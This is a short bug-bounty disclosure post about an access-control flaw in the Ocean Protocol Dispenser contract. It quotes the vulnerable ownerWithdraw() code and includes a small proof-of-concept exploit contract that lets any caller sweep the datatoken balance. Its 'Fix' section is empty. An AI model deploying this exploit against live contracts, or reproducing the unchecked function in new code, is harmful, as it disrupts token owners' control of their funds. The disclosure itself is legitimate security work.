Hello readers! This article showcases the medium-severity bug on the Ocean Protocol Dispenser contract, which allowed any user to call the ownerWithdraw()
function and send the funds to the payment collector.
By sending the funds to the payment collector address, the owner cannot make a successful dispense of data tokens to his destination address.
Vulnerable Code:
function ownerWithdraw(address datatoken) external nonReentrant {
require(
datatoken != address(0),
'Invalid token contract address'
);
_ownerWithdraw(datatoken);
}
function _ownerWithdraw(address datatoken) internal {
IERC20Template tokenInstance = IERC20Template(datatoken);
address destination = tokenInstance.getPaymentCollector();
uint256 ourBalance = tokenInstance.balanceOf(address(this));
if(ourBalance>0) {
emit OwnerWithdrawed(datatoken, destination,ourBalance);
IERC20(datatoken).safeTransfer(destination,ourBalance);
}
}
Impact
This makes the dispenser contract unable to function. The owner of the data token is unable to dispense his funds whenever he wishes to dispense them to the desired address.
Proof of Concept
A simple call to ownerWithdraw()
function showcases how to sweep the balance of the data token.
pragma solidity ^0.8.0;
interface IDispenser {
function ownerWithdraw(address datatoken) external;
}
contract Exploit {
IDispenser dispenser = IDispenser(DISPENSER_ADDRESS);
function sweep() external {
dispenser.ownerWithdraw(DATATOKEN_ADDRESS);
}
}
Fix
That’s it! This is a relevant finding across web3 security that I have found in the growing protocol.
Thanks to @Immunefi for the disclosure process and @OceanProtocol for considering its security issue and rewarding $5000 bucks.
Follow me on Twitter and subscribe for more articles!